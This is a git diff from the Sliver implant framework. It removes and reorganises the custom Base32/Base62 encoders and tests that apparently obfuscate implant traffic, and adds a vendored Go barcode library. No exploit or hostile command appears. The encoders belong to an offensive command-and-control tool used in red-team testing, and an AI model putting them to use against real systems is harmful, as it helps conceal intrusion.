along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/base32"
)
// Base32EncoderID - EncoderID
const Base32EncoderID = 65
// Base32 Encoder
type Base32 struct{}
// Missing chars: i, l, o, s
const base32Alphabet = "ab1c2d3e4f5g6h7j8k9m0npqrtuvwxyz"
var sliverBase32 = base32.NewEncoding(base32Alphabet)
// Encode - Base32 Encode
func (e Base32) Encode(data []byte) []byte {
return []byte(sliverBase32.EncodeToString(data))
}
// Decode - Base32 Decode
func (e Base32) Decode(data []byte) ([]byte, error) {
return sliverBase32.DecodeString(string(data))
}
-80
View File
@@ -1,80 +0,0 @@
package encoders
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
func TestBase32(t *testing.T) {
sample := randomData()
b32 := new(Base32)
output := b32.Encode(sample)
data, err := b32.Decode(output)
if err != nil {
t.Errorf("b32 decode returned an error %v", err)
}
if !bytes.Equal(sample, data) {
t.Logf("sample = %#v", sample)
t.Logf("output = %#v", output)
t.Logf(" data = %#v", data)
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
}
implantBase32 := new(implantEncoders.Base32)
output2 := implantBase32.Encode(sample)
data2, err := implantBase32.Decode(output2)
if err != nil {
t.Errorf("implant b32 decode returned an error %v", err)
}
if !bytes.Equal(sample, data2) {
t.Logf("sample = %#v", sample)
t.Logf("output2 = %#v", output2)
t.Logf(" data2 = %#v", data2)
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
}
output = b32.Encode(sample)
data, err = implantBase32.Decode(output)
if err != nil {
t.Errorf("b32 decode returned an error %v", err)
}
if !bytes.Equal(sample, data) {
t.Logf("sample = %#v", sample)
t.Logf("output = %#v", output)
t.Logf(" data = %#v", data)
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
}
output = implantBase32.Encode(sample)
data, err = b32.Decode(output)
if err != nil {
t.Errorf("b32 decode returned an error %v", err)
}
if !bytes.Equal(sample, data) {
t.Logf("sample = %#v", sample)
t.Logf("output = %#v", output)
t.Logf(" data = %#v", data)
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
}
}
-210
View File
@@ -1,210 +0,0 @@
package encoders
/*
MIT License
Copyright (c) 2019 Shawn Wang <jxskiss@126.com>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
-------------------------------------------------------------------------------
Modifications by moloch to work with Sliver
*/
import (
"math/bits"
"strconv"
)
const (
base = 62
compactMask = 0x1E // 00011110
mask5bits = 0x1F // 00011111
)
// Base62EncoderID - EncoderID
const Base62EncoderID = 43
// Base62 Encoder
type Base62 struct{}
const base62Alphabet = "aBCDEFGHIJKLMNOPQRSTUVWXYZAbcdefghijklmnopqrstuvwxyz0123456789"
// Encode - Base62 Encode
func (e Base62) Encode(data []byte) []byte {
return []byte(NewEncoding(base62Alphabet).EncodeToString(data))
}
// Decode - Base62 Decode
func (e Base62) Decode(data []byte) ([]byte, error) {
return NewEncoding(base62Alphabet).DecodeString(string(data))
}
type Base62Encoder struct {
encode [base]byte
decodeMap [256]byte
}
func NewEncoding(encoder string) *Base62Encoder {
if len(encoder) != base {
panic("encoding alphabet is not 62-bytes long")
}
for i := 0; i < len(encoder); i++ {
if encoder[i] == '\n' || encoder[i] == '\r' {
panic("encoding alphabet contains newline character")
}
}
e := new(Base62Encoder)
copy(e.encode[:], encoder)
for i := 0; i < len(e.decodeMap); i++ {
e.decodeMap[i] = 0xFF
}
for i := 0; i < len(encoder); i++ {
e.decodeMap[encoder[i]] = byte(i)
}
return e
}
func (enc *Base62Encoder) Encode(src []byte) []byte {
if len(src) == 0 {
return []byte{}
}
encoder := newEncoder(src)
return encoder.encode(enc.encode[:])
}
func (enc *Base62Encoder) EncodeToString(src []byte) string {
ret := enc.Encode(src)
return string(ret)
}
type encoder struct {
b []byte
pos int
}
func newEncoder(src []byte) *encoder {
return &encoder{
b: src,
pos: len(src) * 8,
}
}
func (enc *encoder) next() (byte, bool) {
var i, pos int
var j, blen byte
pos = enc.pos - 6
if pos <= 0 {
pos = 0
blen = byte(enc.pos)
} else {
i = pos / 8
j = byte(pos % 8)
blen = byte((i+1)*8 - pos)
if blen > 6 {
blen = 6
}
}
shift := 8 - j - blen
b := enc.b[i] >> shift & (1<<blen - 1)
if blen < 6 && pos > 0 {
blen1 := 6 - blen
b = b<<blen1 | enc.b[i+1]>>(8-blen1)
}
if b&compactMask == compactMask {
if pos > 0 || b > mask5bits {
pos++
}
b &= mask5bits
}
enc.pos = pos
return b, pos > 0
}
func (enc *encoder) encode(encTable []byte) []byte {
ret := make([]byte, 0, len(enc.b)*8/5+1)
x, hasMore := enc.next()
for {
ret = append(ret, encTable[x])
if !hasMore {
break
}
x, hasMore = enc.next()
}
return ret
}
type CorruptInputError int64
func (e CorruptInputError) Error() string {
return "illegal base62 data at input byte " + strconv.FormatInt(int64(e), 10)
}
func (enc *Base62Encoder) Decode(src []byte) ([]byte, error) {
if len(src) == 0 {
return []byte{}, nil
}
dec := decoder(src)
return dec.decode(enc.decodeMap[:])
}
func (enc *Base62Encoder) DecodeString(src string) ([]byte, error) {
return enc.Decode([]byte(src))
}
type decoder []byte
func (dec decoder) decode(decTable []byte) ([]byte, error) {
ret := make([]byte, len(dec)*6/8+1)
idx := len(ret)
pos := byte(0)
b := 0
for i, c := range dec {
x := decTable[c]
if x == 0xFF {
return nil, CorruptInputError(i)
}
if i == len(dec)-1 {
b |= int(x) << pos
pos += byte(bits.Len8(x))
} else if x&compactMask == compactMask {
b |= int(x) << pos
pos += 5
} else {
b |= int(x) << pos
pos += 6
}
if pos >= 8 {
idx--
ret[idx] = byte(b)
pos %= 8
b >>= 8
}
}
if pos > 0 {
idx--
ret[idx] = byte(b)
}
return ret[idx:], nil
}
-80
View File
@@ -1,80 +0,0 @@
package encoders
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
func TestBase62(t *testing.T) {
sample := randomData()
b62 := new(Base62)
output := b62.Encode(sample)
data, err := b62.Decode(output)
if err != nil {
t.Errorf("b62 decode returned an error %v", err)
}
if !bytes.Equal(sample, data) {
t.Logf("sample = %#v", sample)
t.Logf("output = %#v", output)
t.Logf(" data = %#v", data)
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
}
implantBase62 := new(implantEncoders.Base62)
output2 := implantBase62.Encode(sample)
data2, err := implantBase62.Decode(output2)
if err != nil {
t.Errorf("implant b62 decode returned an error %v", err)
}
if !bytes.Equal(sample, data2) {
t.Logf("sample = %#v", sample)
t.Logf("output2 = %#v", output2)
t.Logf(" data2 = %#v", data2)
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
}
output = b62.Encode(sample)
data, err = implantBase62.Decode(output)
if err != nil {
t.Errorf("b62 decode returned an error %v", err)
}
if !bytes.Equal(sample, data) {
t.Logf("sample = %#v", sample)
t.Logf("output = %#v", output)
t.Logf(" data = %#v", data)
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
}
output = implantBase62.Encode(sample)
data, err = b62.Decode(output)
if err != nil {
t.Errorf("b62 decode returned an error %v", err)
}
if !bytes.Equal(sample, data) {
t.Logf("sample = %#v", sample)
t.Logf("output = %#v", output)
t.Logf(" data = %#v", data)
t.Errorf("sample does not match returned\n%#v != %#v", sample, data)
}
}
+2 -2
View File
@@ -1,5 +1,7 @@
package encoders
import "encoding/base64"
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
@@ -18,8 +20,6 @@ package encoders
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import "encoding/base64"
// Base64EncoderID - EncoderID
const Base64EncoderID = 13
+7 -7
View File
@@ -1,5 +1,12 @@
package encoders
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
@@ -18,13 +25,6 @@ package encoders
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
func TestBase64(t *testing.T) {
sample := randomData()
+7 -7
View File
@@ -1,5 +1,12 @@
package encoders
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
@@ -18,13 +25,6 @@ package encoders
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
func TestGzipEnglish(t *testing.T) {
sample := randomData()
+1 -1
View File
@@ -55,7 +55,7 @@ func EncoderFromNonce(nonce int) (int, Encoder, error) {
if encoder, ok := EncoderMap[encoderID]; ok {
return encoderID, encoder, nil
}
return -1, nil, errors.New("{{if .Config.Debug}}Invalid encoder nonce{{end}}")
return -1, nil, errors.New("Invalid encoder nonce")
}
// RandomEncoder - Get a random nonce identifier and a matching encoder
+7 -7
View File
@@ -1,5 +1,12 @@
package encoders
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
@@ -18,13 +25,6 @@ package encoders
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
func TestEnglish(t *testing.T) {
sample := randomData()
+7 -7
View File
@@ -1,5 +1,12 @@
package encoders
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
@@ -18,13 +25,6 @@ package encoders
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
func TestGzip(t *testing.T) {
sample := randomData()
+7 -7
View File
@@ -1,5 +1,12 @@
package encoders
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
@@ -18,13 +25,6 @@ package encoders
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
func TestHex(t *testing.T) {
sample := randomData()
-19
View File
@@ -1,19 +0,0 @@
module github.com/AlecAivazis/survey/v2
require (
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51
github.com/kr/pty v1.1.4 // indirect
github.com/mattn/go-colorable v0.1.2 // indirect
github.com/mattn/go-isatty v0.0.8
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/stretchr/testify v1.2.1
golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5
golang.org/x/sys v0.0.0-20190530182044-ad28b68e88f1 // indirect
golang.org/x/text v0.3.0
)
go 1.13
-31
View File
@@ -1,31 +0,0 @@
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8 h1:xzYJEypr/85nBpB11F9br+3HUrpgb+fcm5iADzXXYEw=
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174 h1:WlZsjVhE8Af9IcZDGgJGQpNflI3+MJSBhsgT5PCtzBQ=
github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs=
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=
github.com/kr/pty v1.1.4 h1:5Myjjh3JY/NaAi4IsUbHADytDyl1VE1Y9PXDlL+P/VQ=
github.com/kr/pty v1.1.4/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/mattn/go-colorable v0.1.2 h1:/bC9yWikZXAL9uJdulbSfyVNIR3n3trXl+v8+1sx8mU=
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-isatty v0.0.8 h1:HLtExJ+uU2HOZ+wI0Tt5DtUDrx8yhUqDcp7fYERX4CE=
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/stretchr/testify v1.2.1 h1:52QO5WkIUcHGIR7EnGagH88x1bUzqGXTC5/1bDTUQ7U=
github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5 h1:8dUaAV7K4uHsF56JQWkprecIQKdPHtR9jCHF5nB8uzc=
golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190530182044-ad28b68e88f1 h1:R4dVlxdmKenVdMRS/tTspEpSTRWINYrHD8ySIU9yCIU=
golang.org/x/sys v0.0.0-20190530182044-ad28b68e88f1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
-8
View File
@@ -1,8 +0,0 @@
module github.com/VirusTotal/vt-go
go 1.14
require (
github.com/stretchr/testify v1.7.0
github.com/thedevsaddam/gojsonq/v2 v2.5.2
)
-13
View File
@@ -1,13 +0,0 @@
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
-18
View File
@@ -1,18 +0,0 @@
module github.com/alecthomas/chroma
go 1.13
require (
github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38
github.com/alecthomas/colour v0.0.0-20160524082231-60882d9e2721 // indirect
github.com/alecthomas/kong v0.2.4
github.com/alecthomas/repr v0.0.0-20180818092828-117648cd9897 // indirect
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964
github.com/dlclark/regexp2 v1.2.0
github.com/mattn/go-colorable v0.1.6
github.com/mattn/go-isatty v0.0.12
github.com/pkg/errors v0.9.1 // indirect
github.com/sergi/go-diff v1.0.0 // indirect
github.com/stretchr/testify v1.3.0 // indirect
golang.org/x/sys v0.0.0-20200413165638-669c56c373c4 // indirect
)
-36
View File
@@ -1,36 +0,0 @@
github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38 h1:smF2tmSOzy2Mm+0dGI2AIUHY+w0BUc+4tn40djz7+6U=
github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38/go.mod h1:r7bzyVFMNntcxPZXK3/+KdruV1H5KSlyVY0gc+NgInI=
github.com/alecthomas/colour v0.0.0-20160524082231-60882d9e2721 h1:JHZL0hZKJ1VENNfmXvHbgYlbUOvpzYzvy2aZU5gXVeo=
github.com/alecthomas/colour v0.0.0-20160524082231-60882d9e2721/go.mod h1:QO9JBoKquHd+jz9nshCh40fOfO+JzsoXy8qTHF68zU0=
github.com/alecthomas/kong v0.2.4 h1:Y0ZBCHAvHhTHw7FFJ2FzCAAG4pkbTgA45nc7BpMhDNk=
github.com/alecthomas/kong v0.2.4/go.mod h1:kQOmtJgV+Lb4aj+I2LEn40cbtawdWJ9Y8QLq+lElKxE=
github.com/alecthomas/repr v0.0.0-20180818092828-117648cd9897 h1:p9Sln00KOTlrYkxI1zYWl1QLnEqAqEARBEYa8FQnQcY=
github.com/alecthomas/repr v0.0.0-20180818092828-117648cd9897/go.mod h1:xTS7Pm1pD1mvyM075QCDSRqH6qRLXylzS24ZTpRiSzQ=
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 h1:y5HC9v93H5EPKqaS1UYVg1uYah5Xf51mBfIoWehClUQ=
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964/go.mod h1:Xd9hchkHSWYkEqJwUGisez3G1QY8Ryz0sdWrLPMGjLk=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dlclark/regexp2 v1.2.0 h1:8sAhBGEM0dRWogWqWyQeIJnxjWO6oIjl8FKqREDsGfk=
github.com/dlclark/regexp2 v1.2.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
github.com/mattn/go-colorable v0.1.6 h1:6Su7aK7lXmJ/U79bYtBjLNaha4Fs1Rg9plHpcH+vvnE=
github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/pkg/errors v0.8.1 h1:iURUrRGxPUNPdy5/HRSm+Yj6okJ6UtLINN0Q9M4+h3I=
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/sergi/go-diff v1.0.0 h1:Kpca3qRNrduNnOQeazBd0ysaKrUJiIuISHxogkT9RPQ=
github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.2.2 h1:bSDNvY7ZPG5RlJ8otE/7V6gMiyenm9RtJ7IUVIAoJ1w=
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200413165638-669c56c373c4 h1:opSr2sbRXk5X5/givKrrKj9HXxFpW2sdCiP8MJSKLQY=
golang.org/x/sys v0.0.0-20200413165638-669c56c373c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+1
View File
@@ -0,0 +1 @@
.vscode/
+21
View File
@@ -0,0 +1,21 @@
The MIT License (MIT)
Copyright (c) 2014 Florian Sundermann
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+53
View File
@@ -0,0 +1,53 @@
[![Join the chat at https://gitter.im/golang-barcode/Lobby](https://badges.gitter.im/golang-barcode/Lobby.svg)](https://gitter.im/golang-barcode/Lobby?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
## Introduction ##
This is a package for GO which can be used to create different types of barcodes.
## Supported Barcode Types ##
* 2 of 5
* Aztec Code
* Codabar
* Code 128
* Code 39
* Code 93
* Datamatrix
* EAN 13
* EAN 8
* PDF 417
* QR Code
## Example ##
This is a simple example on how to create a QR-Code and write it to a png-file
```go
package main
import (
"image/png"
"os"
"github.com/boombuler/barcode"
"github.com/boombuler/barcode/qr"
)
func main() {
// Create the barcode
qrCode, _ := qr.Encode("Hello World", qr.M, qr.Auto)
// Scale the barcode to 200x200 pixels
qrCode, _ = barcode.Scale(qrCode, 200, 200)
// create the output file
file, _ := os.Create("qrcode.png")
defer file.Close()
// encode the barcode as png
png.Encode(file, qrCode)
}
```
## Documentation ##
See [GoDoc](https://godoc.org/github.com/boombuler/barcode)
To create a barcode use the Encode function from one of the subpackages.
+42
View File
@@ -0,0 +1,42 @@
package barcode
import "image"
const (
TypeAztec = "Aztec"
TypeCodabar = "Codabar"
TypeCode128 = "Code 128"
TypeCode39 = "Code 39"
TypeCode93 = "Code 93"
TypeDataMatrix = "DataMatrix"
TypeEAN8 = "EAN 8"
TypeEAN13 = "EAN 13"
TypePDF = "PDF417"
TypeQR = "QR Code"
Type2of5 = "2 of 5"
Type2of5Interleaved = "2 of 5 (interleaved)"
)
// Contains some meta information about a barcode
type Metadata struct {
// the name of the barcode kind
CodeKind string
// contains 1 for 1D barcodes or 2 for 2D barcodes
Dimensions byte
}
// a rendered and encoded barcode
type Barcode interface {
image.Image
// returns some meta information about the barcode
Metadata() Metadata
// the data that was encoded in this barcode
Content() string
}
// Additional interface that some barcodes might implement to provide
// the value of its checksum.
type BarcodeIntCS interface {
Barcode
CheckSum() int
}
+66
View File
@@ -0,0 +1,66 @@
package qr
import (
"errors"
"fmt"
"strings"
"github.com/boombuler/barcode/utils"
)
const charSet string = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:"
func stringToAlphaIdx(content string) <-chan int {
result := make(chan int)
go func() {
for _, r := range content {
idx := strings.IndexRune(charSet, r)
result <- idx
if idx < 0 {
break
}
}
close(result)
}()
return result
}
func encodeAlphaNumeric(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
contentLenIsOdd := len(content)%2 == 1
contentBitCount := (len(content) / 2) * 11
if contentLenIsOdd {
contentBitCount += 6
}
vi := findSmallestVersionInfo(ecl, alphaNumericMode, contentBitCount)
if vi == nil {
return nil, nil, errors.New("To much data to encode")
}
res := new(utils.BitList)
res.AddBits(int(alphaNumericMode), 4)
